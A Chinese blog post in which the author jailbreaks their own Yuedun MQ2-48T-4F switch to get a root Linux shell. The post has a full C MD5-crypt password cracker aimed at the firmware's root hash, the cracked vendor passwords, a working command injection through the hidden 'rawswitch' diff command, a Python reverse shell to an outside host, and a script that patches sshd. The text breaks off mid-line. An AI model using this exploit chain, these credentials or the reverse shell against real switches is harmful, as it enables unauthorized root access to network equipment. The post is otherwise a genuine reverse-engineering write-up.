前言
博主最近购买了一台 月盾 MQ2-48T-4F 交换机. 这台交换机拥有 48 个 2.5G 电口, 4 个 10G SFP+ 光口, 2 个 40G QSFP 光口, 性能十分强悍. 在博主接入 Console 口启动交换机观察启动日志时, 注意到 CPU 是一块 aarch64 架构的, 并且启动日志十分像 Linux. 据卖家描述, 该交换机使用的是 盛科 CTC 7132 方案, 这使我更加确定了这台交换机的底层就是 Linux 系统. 但这还不足以让我下定决心折腾这台交换机. 真正让我决定折腾的是这台交换机的一个十分诡异的特性: 四个 SFP+ 端口属于同一个端口组, 且其速率必须一起更改, 没法单独更改. 这就导致我没法在四个端口上同时接入 10G 的服务器和只能运行在 2.5G 速率的猫棒. 这使我下定决心研究下这个交换机.
大致研究方向
这台交换机开放了一些服务, 分别为 http, ssh, telnet. 在其 WebUI 中有一个 “File Management” 文件管理功能. 在这里可以下载到这台交换机的完整固件 uImage_v3.0.15.7.bin. 因此我们的大致研究方向就明确了: 从固件入手, 然后尝试从 CLI 中逃逸到底层 Linux Shell
开始研究
Phase 1. 固件分析
1.1 解包
- 首先我们拿到交换机固件, 使用
binwalk进行提取
binwalk -e uImage_v3.0.15.7.bin能够提取出三份文件: 53E8E4, 53E8E4.7z, D8. 查看文件大小信息
-rw-r--r-- 1 nanami114 nanami114 189M Aug 15 21:41 53E8E4
-rw-r--r-- 1 nanami114 nanami114 32M Aug 15 21:41 53E8E4.7z
-rw-r--r-- 1 nanami114 nanami114 12M Aug 15 21:41 D8可以看到第一份文件的大小很大, 因此我们继续提取第一份文件
binwalk -e 53E8E4这里可以提取出一份文件和一个文件夹, 分别为
-rw-r--r-- 1 nanami114 nanami114 189M Aug 15 21:42 0.cpio
drwxr-xr-x 18 nanami114 nanami114 4.0K Aug 15 21:47 cpio-root我们进入 cpio-root 目录, 再次列出文件, 就可以看到整个内核的目录结构了.
nanami114@NanamiWork-PC:~/_uImage_v3.0.15.7.bin.extracted/_53E8E4.extracted/cpio-root$ ls -lah
total 72K
drwxr-xr-x 18 nanami114 nanami114 4.0K Aug 15 21:47 .
drwxr-xr-x 3 nanami114 nanami114 4.0K Aug 15 21:42 ..
drwxr-xr-x 2 nanami114 nanami114 4.0K Aug 15 21:42 bin
lrwxrwxrwx 1 nanami114 nanami114 9 Aug 15 21:42 boot -> /dev/null
drwxr-xr-x 2 nanami114 nanami114 4.0K Aug 15 21:42 centec_switch
lrwxrwxrwx 1 nanami114 nanami114 9 Aug 15 21:42 conf -> /dev/null
drwxr-xr-x 2 nanami114 nanami114 4.0K Aug 15 21:42 data
drwxr-xr-x 2 nanami114 nanami114 4.0K Aug 15 21:42 dev
drwxr-xr-x 9 nanami114 nanami114 4.0K Aug 15 21:42 etc
lrwxrwxrwx 1 nanami114 nanami114 9 Aug 15 21:42 init -> /dev/null
drwxr-xr-x 2 nanami114 nanami114 4.0K Aug 15 21:42 lib
drwxr-xr-x 4 nanami114 nanami114 4.0K Aug 15 21:42 mnt
drwxr-xr-x 2 nanami114 nanami114 4.0K Aug 15 21:42 proc
drwxr-xr-x 2 nanami114 nanami114 4.0K Aug 15 21:42 root
drwxr-xr-x 2 nanami114 nanami114 4.0K Aug 15 21:42 sbin
drwxr-xr-x 2 nanami114 nanami114 4.0K Aug 15 21:42 sys
drwxrwxrwx 2 nanami114 nanami114 4.0K Aug 15 21:42 tftpboot
drwxr-xr-x 4 nanami114 nanami114 4.0K Aug 15 21:42 tmp
drwxr-xr-x 7 nanami114 nanami114 4.0K Aug 15 21:42 usr
drwxr-xr-x 8 nanami114 nanami114 4.0K Aug 15 21:42 var到这一步我们可以百分百确定, 这就是 Linux 系统.
1.2 识别内核版本
- 在上一部分, 我们解包出了三个项目, 分别为
53E8E4,53E8E4.7z,D8. 在这其中,D8则是 ARM64 的 Linux 可执行内核映像. 我们从这里可以通过直接搜索的方式提取出内核版本
nanami114@NanamiWork-PC:~/_uImage_v3.0.15.7.bin.extracted$ strings -n 10 D8 | grep -E "Linux version"
CLDK v20.01 Linux version 4.9.62-tsingma (sw@sw1) (gcc version 6.3.1 20170109 (Linaro GCC 6.3-2017.02) ) #1 SMP Mon Nov 18 01:01:48 CST 2024同时用内核模块的 vermagic 交叉验证:
nanami114@NanamiWork-PC:~/_uImage_v3.0.15.7.bin.extracted/_53E8E4.extracted/cpio-root$ strings lib/peth_km.ko | grep vermagic
vermagic=4.9.62-tsingma SMP mod_unload aarch64
__UNIQUE_ID_vermagic8由此我们可以得出该平台的基本信息
| 项 | 值 |
|---|---|
| 内核版本 | 4.9.62-tsingma (厂商自定义 LOCALVERSION) |
| 架构 | AArch64 (ARM64), SMP |
| 编译工具 | Linaro GCC 6.3.1 (2017.02) |
| 构建时间 | 2024-11-18 CST |
| 平台 | Centec (盛科), CLDK v20.01 |
Q. 为什么用
vermagic交叉验证? A. 内核 Image 里的字符串可能被裁剪或混淆, 但.ko模块的vermagic是内核编译时写死的, 两者一致才算可靠.
Phase 2. 密码哈希破解
2.1 发现目标
在系统文件 /etc/passwd 中, 我们可以发现两个真实用户
root:$1$ZrdxfwMZ$1xAj.S6emtA7gWD7iwmmm/:0:0:root:/root:/bin/sh
nms:$1$nUbsGtA7$5omXOHPNK.ZzNd5KeekUq/:0:0:root:/ftp:/bin/sh在这里, $1$ 前缀就是标准 Unix MD5-crypt 算法. 这套算法非常老, 十分适合字典或暴力破解. 因此我们这里直接尝试暴力破解
2.2 MD5 破解
基于性能考虑, 我们这里直接使用 C + OpenMP 编写相关破解代码, 充分利用多线程并行工作, 提高破解速度. 这里给出完整代码
/* md5crack.c — parallel MD5-crypt ($1$) cracker for the switch firmware.
* Usage: md5crack [dictfile]
* Target: root:$1$ZrdxfwMZ$1xAj.S6emtA7gWD7iwmmm/
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>
#include <omp.h>
/* ---------- minimal incremental MD5 ---------- */
typedef struct {
uint32_t state[4];
uint64_t total;
size_t buflen;
uint8_t buffer[64];
} MD5_CTX;
static const uint32_t K[64] = {
0xd76aa478,0xe8c7b756,0x242070db,0xc1bdceee,0xf57c0faf,0x4787c62a,0xa8304613,0xfd469501,
0x698098d8,0x8b44f7af,0xffff5bb1,0x895cd7be,0x6b901122,0xfd987193,0xa679438e,0x49b40821,
0xf61e2562,0xc040b340,0x265e5a51,0xe9b6c7aa,0xd62f105d,0x02441453,0xd8a1e681,0xe7d3fbc8,
0x21e1cde6,0xc33707d6,0xf4d50d87,0x455a14ed,0xa9e3e905,0xfcefa3f8,0x676f02d9,0x8d2a4c8a,
0xfffa3942,0x8771f681,0x6d9d6122,0xfde5380c,0xa4beea44,0x4bdecfa9,0xf6bb4b60,0xbebfbc70,
0x289b7ec6,0xeaa127fa,0xd4ef3085,0x04881d05,0xd9d4d039,0xe6db99e5,0x1fa27cf8,0xc4ac5665,
0xf4292244,0x432aff97,0xab9423a7,0xfc93a039,0x655b59c3,0x8f0ccc92,0xffeff47d,0x85845dd1,
0x6fa87e4f,0xfe2ce6e0,0xa3014314,0x4e0811a1,0xf7537e82,0xbd3af235,0x2ad7d2bb,0xeb86d391};
static const int S[64] = {
7,12,17,22,7,12,17,22,7,12,17,22,7,12,17,22,
5,9,14,20,5,9,14,20,5,9,14,20,5,9,14,20,
4,11,16,23,4,11,16,23,4,11,16,23,4,11,16,23,
6,10,15,21,6,10,15,21,6,10,15,21,6,10,15,21};
static inline uint32_t rotl(uint32_t x,int c){ return (x<<c)|(x>>(32-c)); }
static void md5_compress(MD5_CTX *c){
uint32_t a=c->state[0],b=c->state[1],cc=c->state[2],d=c->state[3];
const uint32_t *m=(const uint32_t*)(void*)c->buffer; /* little-endian host */
for(int i=0;i<64;i++){
uint32_t f; int g;
if(i<16){ f=(b&cc)|(~b&d); g=i; }
else if(i<32){ f=(d&b)|(~d&cc); g=(5*i+1)&15; }
else if(i<48){ f=b^cc^d; g=(3*i+5)&15; }
else { f=cc^(b|~d); g=(7*i)&15; }
uint32_t tmp=d;
d=cc; cc=b;
b+=rotl(a+f+K[i]+m[g],S[i]);
a=tmp;
}
c->state[0]+=a; c->state[1]+=b; c->state[2]+=cc; c->state[3]+=d;
}
static void md5_init(MD5_CTX *c){
c->state[0]=0x67452301; c->state[1]=0xefcdab89;
c->state[2]=0x98badcfe; c->state[3]=0x10325476;
c->total=0; c->buflen=0;
}
static void md5_update(MD5_CTX *c,const void *data,size_t len){
const uint8_t *p=(const uint8_t*)data;
c->total+=len;
if(c->buflen){
size_t need=64-c->buflen;
size_t take=len<need?len:need;
memcpy(c->buffer+c->buflen,p,take);
c->buflen+=take; p+=take; len-=take;
if(c->buflen==64){ md5_compress(c); c->buflen=0; }
}
while(len>=64){
memcpy(c->buffer,p,64);
md5_compress(c);
p+=64; len-=64;
}
if(len){ memcpy(c->buffer+c->buflen,p,len); c->buflen+=len; }
}
static void md5_final(MD5_CTX *c,uint8_t out[16]){
uint64_t bits=c->total*8;
md5_update(c,"\x80",1);
while((c->buflen&63)!=56) md5_update(c,"\x00",1);
uint8_t lenb[8];
for(int i=0;i<8;i++) lenb[i]=(uint8_t)(bits>>(8*i));
md5_update(c,lenb,8);
if(c->buflen) md5_compress(c);
for(int i=0;i<4;i++){
uint32_t v=c->state[i];
out[i*4]=(uint8_t)v; out[i*4+1]=(uint8_t)(v>>8);
out[i*4+2]=(uint8_t)(v>>16); out[i*4+3]=(uint8_t)(v>>24);
}
}
/* ---------- MD5-crypt ---------- */
static void md5crypt(const char *pw,size_t pwlen,const char *salt,size_t slen,uint8_t final[16]){
MD5_CTX ctx,ctx2;
uint8_t d[16];
md5_init(&ctx);
md5_update(&ctx,pw,pwlen);
md5_update(&ctx,"$1$",3);
md5_update(&ctx,salt,slen);
md5_init(&ctx2);
md5_update(&ctx2,pw,pwlen);
md5_update(&ctx2,salt,slen);
md5_update(&ctx2,pw,pwlen);
md5_final(&ctx2,d);
for(size_t i=0;i<pwlen;i++) md5_update(&ctx,d+(i&15),1);
size_t i=pwlen;
while(i){
if(i&1) md5_update(&ctx,"\x00",1);
else md5_update(&ctx,pw,1);
i>>=1;
}
md5_final(&ctx,final);
for(int it=0;it<1000;it++){
md5_init(&ctx2);
if(it&1) md5_update(&ctx2,pw,pwlen); else md5_update(&ctx2,final,16);
if(it%3) md5_update(&ctx2,salt,slen);
if(it%7) md5_update(&ctx2,pw,pwlen);
if(it&1) md5_update(&ctx2,final,16); else md5_update(&ctx2,pw,pwlen);
md5_final(&ctx2,final);
}
}
static const char ITOA64[]="./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
static void to64(uint32_t v,int n,char *out){
for(int i=0;i<n;i++){ out[i]=ITOA64[v&0x3f]; v>>=6; }
}
static void encode_final(const uint8_t final[16],char out[23]){
to64(((uint32_t)final[0]<<16)|((uint32_t)final[6]<<8)|final[12],4,out+0);
to64(((uint32_t)final[1]<<16)|((uint32_t)final[7]<<8)|final[13],4,out+4);
to64(((uint32_t)final[2]<<16)|((uint32_t)final[8]<<8)|final[14],4,out+8);
to64(((uint32_t)final[3]<<16)|((uint32_t)final[9]<<8)|final[15],4,out+12);
to64(((uint32_t)final[4]<<16)|((uint32_t)final[10]<<8)|final[5],4,out+16);
to64(final[11],2,out+20);
out[22]=0;
}
static const char TARGET[]="1xAj.S6emtA7gWD7iwmmm/";
static const char SALT[]="ZrdxfwMZ";
static volatile int FOUND=0;
static void test_pw(const char *pw,size_t len,const char *ctxlabel){
if(FOUND) return;
uint8_t final[16]; char b64[23];
md5crypt(pw,len,SALT,strlen(SALT),final);
encode_final(final,b64);
if(!strcmp(b64,TARGET)){
#pragma omp critical
{
if(!FOUND){
FOUND=1;
printf("[+] CRACKED root: %.*s (%s)\n",(int)len,pw,ctxlabel);
fflush(stdout);
}
}
}
}
/* index->candidate generator */
static void gen_comb(char *buf,const char *charset,int len,uint64_t idx){
int clen=(int)strlen(charset);
for(int i=len-1;i>=0;i--){ buf[i]=charset[idx%clen]; idx/=clen; }
buf[len]=0;
}
static void run_masks(void){
/* digits 1..8 */
for(int len=1;len<=8 && !FOUND;len++){
uint64_t n=1; for(int k=0;k<len;k++) n*=10;
char buf[64];
#pragma omp parallel for schedule(static,10000)
for(uint64_t idx=0;idx<n;idx++){
if(FOUND) continue;
gen_comb(buf,"0123456789",len,idx);
test_pw(buf,len,"digits");
}
fprintf(stderr,"[*] digits len %d done (%llu)\n",len,(unsigned long long)n);
}
/* lowercase 1..5 */
for(int len=1;len<=5 && !FOUND;len++){
uint64_t n=1; for(int k=0;k<len;k++) n*=26;
char buf[64];
#pragma omp parallel for schedule(static,10000)
for(uint64_t idx=0;idx<n;idx++){
if(FOUND) continue;
gen_comb(buf,"abcdefghijklmnopqrstuvwxyz",len,idx);
test_pw(buf,len,"lower");
}
fprintf(stderr,"[*] lower len %d done\n",len);
}
/* lowercase+digits 1..4 */
for(int len=1;len<=4 && !FOUND;len++){
uint64_t n=1; for(int k=0;k<len;k++) n*=36;
char buf[64];
#pragma omp parallel for schedule(static,10000)
for(uint64_t idx=0;idx<n;idx++){
if(FOUND) continue;
gen_comb(buf,"0123456789abcdefghijklmnopqrstuvwxyz",len,idx);
test_pw(buf,len,"lower+digit");
}
fprintf(stderr,"[*] lower+digit len %d done\n",len);
}
/* uppercase+digits 1..5 (short caps) */
for(int len=1;len<=5 && !FOUND;len++){
uint64_t n=1; for(int k=0;k<len;k++) n*=36;
char buf[64];
#pragma omp parallel for schedule(static,10000)
for(uint64_t idx=0;idx<n;idx++){
if(FOUND) continue;
gen_comb(buf,"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ",len,idx);
test_pw(buf,len,"upper+digit");
}
fprintf(stderr,"[*] upper+digit len %d done\n",len);
}
}
static void run_dictfile(const char *path){
FILE *f=fopen(path,"rb");
if(!f){ perror("fopen"); exit(1); }
fseek(f,0,SEEK_END); long sz=ftell(f); fseek(f,0,SEEK_SET);
char *data=malloc(sz+1);
size_t rd=fread(data,1,sz,f); fclose(f); data[rd]=0;
/* build line index */
size_t *idx=malloc(sizeof(size_t)*(rd+1));
size_t n=0; idx[n++]=0;
for(size_t i=0;i<rd;i++) if(data[i]=='\n') idx[n++]=i+1;
char **lines=malloc(sizeof(char*)*n);
size_t *lens=malloc(sizeof(size_t)*n);
long cnt=0;
for(size_t i=0;i+1<n;i++){
char *s=data+idx[i]; char *e=data+idx[i+1];
while(e>s && (e[-1]=='\n'||e[-1]=='\r')) e--;
if(e==s){ lines[cnt]=NULL; lens[cnt]=0; cnt++; continue; }
*e=0; lines[cnt]=s; lens[cnt]=(size_t)(e-s); cnt++;
}
fprintf(stderr,"[*] dict '%s': %ld candidates\n",path,cnt);
#pragma omp parallel for schedule(dynamic,1000)
for(long i=0;i<cnt;i++){
if(FOUND) continue;
if(lines[i]) test_pw(lines[i],lens[i],"dictionary");
}
}
int main(int argc,char **argv){
if(argc>1 && !strcmp(argv[1],"--selftest")){
/* openssl: openssl passwd -1 -salt ZrdxfwMZ root -> $1$ZrdxfwMZ$jCuG4i9D8aN4xLTQdbPr4. */
uint8_t f[16]; char b64[23];
md5crypt("root",4,"ZrdxfwMZ",8,f);
encode_final(f,b64);
printf("selftest: %s %s\n", b64,
strcmp(b64,"jCuG4i9D8aN4xLTQdbPr4.")==0?"OK":"FAIL");
return 0;
}
fprintf(stderr,"[*] md5crack: target root salt=%s b64=%s threads=%d\n",
SALT,TARGET,omp_get_max_threads());
if(argc>1) run_dictfile(argv[1]);
run_masks();
if(FOUND) fprintf(stderr,"[*] root password FOUND\n");
else fprintf(stderr,"[-] no match in current candidate set\n");
return FOUND?0:1;
}我们还需要下载 rockyou 密码库. 最终破解的结果如下
| 用户 | 密码 | 验证 |
|---|---|---|
nms | 123456 | openssl passwd -1 -salt nUbsGtA7 123456 完全匹配 |
root | !@# | openssl passwd -1 -salt ZrdxfwMZ '!@#' 完全匹配 |
到这里我们就拿到了 nms 和 root 用户的密码.
Phase 3. 尝试 SSH 登录
一开始, 我尝试直接用 root 用户登录 SSH, 但是登录始终报错. 这很容易就能察觉出, 该系统使用的 sshd 是经过 OEM 尝试魔改后的版本, 所以我们直接深入分析
3.1 发现魔改
- 查看 sshd 的链接库, 可以发现引入了厂商的私有库, 还导入了一堆异常符号
nanami114@NanamiWork-PC:~/_uImage_v3.0.15.7.bin.extracted/_53E8E4.extracted/cpio-root$ objdump -T usr/sbin/sshd | grep -iE "password|authen|bmcli|cli_install"
0000000000000000 DF *UND* 0000000000000000 bmcli_start
0000000000000000 DF *UND* 0000000000000000 authen_client_new
0000000000000000 DF *UND* 0000000000000000 authen_client_start
0000000000000000 DF *UND* 0000000000000000 authen_client_free
0000000000000000 DF *UND* 0000000000000000 cli_install_gen
0000000000000000 DF *UND* 0000000000000000 host_password_check # 来自 libzos.so
0000000000000000 DF *UND* 0000000000000000 cli_install_config
0000000000000000 DF *UND* 0000000000000000 authen_api_msg_authen_request_send
0000000000000000 DF *UND* 0000000000000000 check_password在字符串中还能看到, sshd 认证成功后执行 exec /usr/bin/imish, 并非 Linux 原生 Shell.
3.2 认证链路
- 反编译
libzos.so的host_password_check, 发现它访问这些文件
/mnt/flash/.login_passwd_record
/mnt/flash/.login_passwd_record_tmp
/mnt/flash/.login_passwd_timestamp
/mnt/flash/.config_encryption.conf到这里我们可以推出, SSH 的密码认证走的是厂商自己的 AAA 框架. 所以整套系统的认证流程是这样的
SSH → 魔改 sshd → host_password_check() (libzos)
→ authen_api_msg_authen_request_send() → authd/AAA
→ 读取 flash 里 AES/3DES/RSA 加密的 /mnt/flash/.login_passwd_record
→ 校验通过 → exec /usr/bin/imish (交换机 CLI, 并非 Linux Shell)这同时也解释了为什么上面我们使用 Linux 的用户名密码无法登录 SSH, 因为它根本不走 Linux 官方的认证通道.
Phase 4. 逃逸 root Shell
4.1 初始观察
- 使用交换机用户凭据登录到交换机 CLI, 自动进入
Switch#特权模式. 使用?列入 EXEC 命令并结合刚才逆向得到的指令, 注意到一些问题cd,dir,ls,pwd,mkdir,delete,more,md5sum,tar是可以在 CLI 中执行的, 且这些命令是由 Linux 命令包装的bypass,copy,ftp,ssh,telnet.debug是比较可疑的, 疑似可以提权的命令rawswitch是系统隐藏的指令, 最为可疑
4.2 尝试注入
4.2.1 分号/管道注入
Switch# md5sum flash:/startup-config.conf; id
^
% Invalid input detected at '^' marker.这里 ;, | 被 CLI 解释器拒绝, 该方法无效
4.2.2 $() 命令替换
Switch# md5sum flash:/$(id)
% Invalid file name or directory name: flash:/$(id)这里 imish 对文件名做了白名单: [0-9a-zA-Z._-()]. $ 不在其中, 在传输给 Shell 之前就被拦截, 该方法无效.
4.2.3 more 分页器逃逸
more flash:/startup-config.conf
... --More--(36%) ...这里输入 !id / :sh 都只是翻页, 该方法无效
4.2.4 CVE-2026-3587 Hidden CLI Function Allows Root Access
这是博主从网上查到的一个最近的 CVE, 在这里也做了尝试.
- 连接 telnet 后, 登录用户, 发送
\x1b[?25l\x1b[?2l\r\n后报错Invalid input, 该方法无效
4.3 突破口
在上述方法都尝试无效后, 博主开始着手研究那条隐藏的 rawswitch 命令.
在之前的静态固件分析时, 在 imish 的二进制中看到了 ctc_shell / Enter rawswitch mode. 运行时发现真正的指令名称为 rawswitch.
Switch# rawswitch
CTC_CLI(ctc-sdk)#这里我们进入了 CTC SDK 平台的底层 CLI, ? 列出大量命令
CTC_CLI(ctc-sdk)# ?
sdk SDK mode
debug Debug mode
internal Internal Debug mode
app App mode
cmodel Cmodel mode
dkits Dkits mode
stress Stress mode
show Show
clear Clear
acl ACL module
aging Aging module
aps Aps Module
boot boot command
bpe bpe module
cd Common cmd
check Check table or register
chip Chip module
ctune ctune
delay delay time
diag Diag module
diff Common cmd
dma dma
dot1ae Dot1AE
efd EFD module
end End current mode and change to EXEC mode
enter Enter
exit Exit current mode and down to previous mode
fcoe FCOE module
for For cmd
ftm Memory Allocation module
interrupt Interrupt module
ipfix IPFIX module
ipmc IPMC module
ipuc IPUC module
l2 Layer 2 module
l3if L3 interface module
lb-hash Load banlance hash
learning Learning module
linkagg Linkagg module
list List tables
local-mep Local MEP
ls Common cmd
memory Memory manger
mip MIP
mirror Mirror module
monitor Monitor Module
mpls Multi-Protocol Label Switching (MPLS)
nexthop Nexthop module
no Negate a command or set its defaults
npm NPM Module
oam OAM module
ofb ofb
overlay-tunnel overlay tunnel module, used to terminate an overlay tunnel
packet Packet module
parser Parser module
pdu Pdu module
port Port module
ptp PTP module
pwd Common cmd
qos QoS module
quit Exit current mode and down to previous mode
read Read table or register
remote-mep Remote MEP
rm delete file
route Route
scl SCL module
security Security module
source Common cmd
stacking Stacking
stats Statistics
stp Spanning Tree Protocol (STP)
sync-ether SyncE module
system System attribution
tclsh Common cmd
tftp tftp transmit
trill TRILL module
vi Common cmd
vlan VLAN module
warmboot Warmboot module
wlan WLAN module
write Write table or register这里可以看到几个值得注意的命令
cd Common cmd
diff Common cmd
ls Common cmd
pwd Common cmd
source Common cmd
tclsh Common cmd
vi Common cmd这些命令的注释都是 Common cmd, 意味着这些指令可能都是原生 Linux 指令.
4.4 逐一排除 Common cmd 逃逸面
- 反编译
lib/libctcsdk.so弄明白每个命令的真实行为
| 命令 | 结果 |
|---|---|
tclsh | system("tclsh " + 文件), 但设备上根本没有 tclsh 二进制 → 静默失败 |
source | fopen 读文件, 逐行当 CTC CLI 命令执行 (ctc_cmd_for_command), 但不是 Shell, 只执行 CLI 命令 |
tftp | chdir("/mnt/flash/boot") 后再跑 tftp 客户端, boot 分区只读 → 无法落盘 |
vi | system("vi " + 文件),busybox vi, 但 SSH / Telnet pty 下全屏交互失灵 |
copy | 可从 tftp 复制到 flash, 但拒绝隐藏文件名 |
4.5 尝试维护模式
在浏览系统文件时, 注意到有一份 /etc/login.sh 是这么写的
enter_minios=`cat /proc/cmdline | grep enter_minios`
if [ -z "$enter_minios" -a ! -f /mnt/flash/boot/.enter_minios ]; then
/usr/bin/imish
exit
fi
/bin/sh从这份脚本的逻辑可以看出, 当登录时, 如果 /mnt/flash/boot 目录下存在 .enter_minios 文件, 就会进入真正的 Linux Shell. 结合之前的情况分析, 上传文件以及重命名, 移动文件都是有可能的. 因此该方案是最有可能实现的.
4.5.1 尝试 TFTP
本地启动一个简易的 TFTP 服务器, 存放 .enter_minios 文件. 然后在交换机中尝试读取该文件
tftp server-ip 192.168.1.3 filename .enter_minios这里执行后返回了报错 % tftp command execute NG. 同时服务端并未收到相关数据包.
反编译发现 tftp 的行为是 chdir("/mnt/flash/boot"), boot 分区只读, 客户端创建本地文件失败, 不发送数据包.
4.5.2 尝试 copy 命令
copy tftp://<serverAddr>/.enter_minios flash:/boot/.enter_minios这里执行后报错 % Invalid destination file name, 结合之前的发现, 推断出这里 imish 做了隐藏名称 (. 开头) 校验.
所以这里尝试先 copy 非隐藏名, 然后再 rename.
copy tftp://<serverAddr>/.enter_minios flash:/boot/enter_minios
rename enter_minios .enter_minios这里执行后报错 `% Invalid destination file name … should not be on hidden format```, 因此这里得出 rename 也校验隐藏名称
4.5.3 尝试 tar 解压缩
在本地创建一个包含 .enter_minios 的 gzip tar 包, tftp 下载到交换机, 然后解压.
tar xtract flash:/boot.tar.gz flash:/boot执行后报错 % Not support this command in flash:/boot directory, 得出 boot 目录受保护.
那么这里就创建一个包含 boot/.enter_minios 的归档, 先下载到根目录, 然后直接解压
tar xtract flash:/boot.tar.gz flash:/执行后报错 tar: cannot remove old file: Read-only file system. 这里可以很明确的得出: boot 分区只读.
Q. 为什么之前 copy 能成功? A. 实际上之前的也没成功. 检查发现文件系统中
/mnt/flash/boot目录根本不存在enter_minios文件. 因此即便绕过文件名校验也落实不到真正的 boot 分区. 至此该方法完全失效.
4.6 diff 命令注入
- 反编译
libctcsdk.so中的cli_com_diff, 我们可以得到具体逻辑如下
sprintf(buf, "diff %s %s", argv[0], argv[1]);
system(buf);从这里我们可以看到, diff 后输入的两个参数没有转义, 直接就进了 system()! 因此, 这里绝对是最大的突破点.
- 但是, 按照之前对解释器的发现, 注入的命令不能含有空格, 所以这里我们用
$IFS来替代空格. 我们尝试执行
diff /etc/passwd $(id)这里执行后并没有任何输出, 也没有报错. 初步推测可能是 imish 自动隐藏了执行结果. 所以这里我们将输出重定向到具体文件再下结论.
diff /etc/passwd $(id>/mnt/flash/UIDOUT)依旧是没有输出
- 使用自带的
more指令读取文件
Switch# more flash:/UIDOUT
uid=0(root) gid=0(root)可以看到, 我们成功的拿到了 root Shell!
4.7 尝试创建反弹 Shell
再次浏览系统文件, 可以发现系统内置了一个 python 2.7, 这为我们创建 Shell 提供了巨大的突破口.
- 这里让 AI 写一份反弹 Shell 脚本
import socket,subprocess,os,sys
if os.fork() > 0: sys.exit(0) # 第一次 fork,父进程退出 → 命令替换立即完成
os.setsid()
if os.fork() > 0: sys.exit(0) # 二次 fork 彻底脱离
devnull = os.open("/dev/null", os.O_RDWR)
os.dup2(devnull,0); os.dup2(devnull,1); os.dup2(devnull,2) # 关掉替换管道 → 不阻塞
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.3", 4444))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])- 上传
copy tftp://<serverAddr>/rev.py flash:/rev.py- 本地启动一个监听:
ncat -lvnp 4444- 触发
rawswitch
diff /etc/passwd $(/usr/bin/python2.7$IFS/mnt/flash/rev.py)触发后, 本地成功拿到了 root 的 Shell!
/mnt/flash/boot # id
uid=0(root) gid=0(root)
/mnt/flash/boot # uname -a
Linux Switch 4.9.62-tsingma #1 SMP Mon Nov 18 01:01:48 CST 2024 aarch64这里获取到的信息与我们之前静态分析的结果完全一致! 到这里整套链路形成了闭环.
Phase 5. 固化 SSH Shell
既然我们拿到了 Shell, 那当然也可以尝试修改系统内的 sshd, 让它能够启动真正的 Linux Shell, 而不是 imish.
5.1 分析固件
| 项 | 结论 |
|---|---|
rootfs (含 /usr/sbin/sshd) | rootfs on / type rootfs (rw) —— ramfs 可写,可直接改运行中的 sshd |
/mnt/flash (数据) | ext4 rw |
/mnt/flash/boot (启动) | ext4 ro, 存 uImage (内核 + initramfs) |
| 持久化 | rootfs 每次重启从 uImage 重新解包, 无 /mnt/flash 启动钩子 |
| telnet | telnetd -l /usr/bin/imish —— 走真实 imish,与 sshd 无关 |
这里可以得出, 如果要持久化修改后的 sshd, 则需要修改 boot 分区 uImage. 该操作有一定的变砖风险, 所以这里决定先临时修改 sshd, 然后再写一份一键执行的 python 脚本. 如果交换机有重启, 则直接执行脚本就可以恢复修改后的 sshd.
5.2 静态分析 sshd
这里我们尝试分析 sshd 是怎么调用 imish 的.
- 查看字符偏移
nanami114@NanamiWork-PC:~/_uImage_v3.0.15.7.bin.extracted/_53E8E4.extracted/cpio-root$ strings -t x usr/sbin/sshd | grep /usr/bin/imish
7bd90 /usr/bin/imish这里可以看到字符偏移为 7bd90.
- 反编译
libzos.so的bmcli_start得到, 它制作建立 socket / 注册, pid / 加定时器, 不是 execimish的地方. - 确认运行中二进制偏移一致:
dd if=/usr/sbin/sshd bs=1 skip=507280 count=14→/usr/bin/imish
0x7bd90 = 507280. rodata 的 VA 和文件偏移差0x4000000, 字符串 VA 是0x47BD90.
5.3 尝试 patch
5.3.1 printf | dd conv=notrunc
printf '/bin/sh\0\0\0\0\0\0\0\0\0' | dd of=/usr/sbin/sshd bs=1 seek=507280 conv=notrunc运行后结果: dd 输出 busybox 帮助文本 -> 这个 busybox dd 只支持 if/of/bs/count/skip/seek, 没有 conv= 选项, 直接报 usage 不写任何字节.
5.3.2 python open("r+b") seek/write
python2.7 -c 'f=open("/usr/sbin/sshd","r+b");f.seek(507280);f.write("/bin/sh"+"\x00"*7);f.close()'运行后结果: IOError: [Errno 26] Text file busy: '/usr/sbin/sshd'. Linux 不允许写正在运行的二进制文件.
5.3.3 反弹 Shell 的 null 字节陷阱
通过反弹 Shell 执行 dd (输出含 null 字节) 会让 busybox sh -i 卡死在 > 续行提示, 后续命令全部失效.
5.3.4 直接 patch 到 /bin/sh
执行后报错 -sh: illegal option -h. sshd exec imish 时带了 imish 的参数, 参数原样传给 /bin/sh, sh 不认.
5.3.5 wrapper 方案
patch 到一个 wrapper 脚本, 让它忽略所有参数, exec 干净的 /bin/sh
#!/bin/sh
exec /bin/sh将其存放在 /tmp/ws, sshd 偏移处修改成 /tmp/ws. 该方法成功修改了 sshd, 使用交换机凭据登录 SSH, 进入了 Linux 原生 Shell.

5.4 编写一键脚本
这里尝试写一份一键 patch 脚本, 用于在交换机重启后修改 sshd.
import os, sys, time
if os.fork() > 0: sys.exit(0) # daemonize
os.setsid()
if os.fork() > 0: sys.exit(0)
os.dup2(os.open("/dev/null", os.O_RDWR), 0)
os.dup2(os.open("/dev/null", os.O_RDWR), 1)
os.dup2(os.open("/dev/null", os.O_RDWR), 2)
time.sleep(2) # 等注入/SSH 会话先结束
open("/tmp/ws", "w").write("#!/bin/sh\nexec /bin/sh\n") # 建 wrapper
os.chmod("/tmp/ws", 0o755)
os.system("killall sshd 2>/dev/null") # 先杀 sshd 才能写二进制
time.sleep(1)
NEW = "/tmp/ws" + "\x00" * 7 # 14 字节,与原字符串等长
for attempt in range(6):
try:
data = open("/usr/sbin/sshd", "rb").read()
data = data.replace("/usr/bin/imish", NEW) # 覆盖原始字符串
data = data.replace("/bin/sh\x00\x00\x00\x00\x00\x00\x00", NEW) # 覆盖上次的 /bin/sh
open("/usr/sbin/sshd", "wb").write(data)
break
except IOError: # ETXTBSY 重试
os.system("killall sshd 2>/dev/null"); time.sleep(1)
open("/mnt/flash/PY4.flag", "w").write("ok imish=%d\n" %
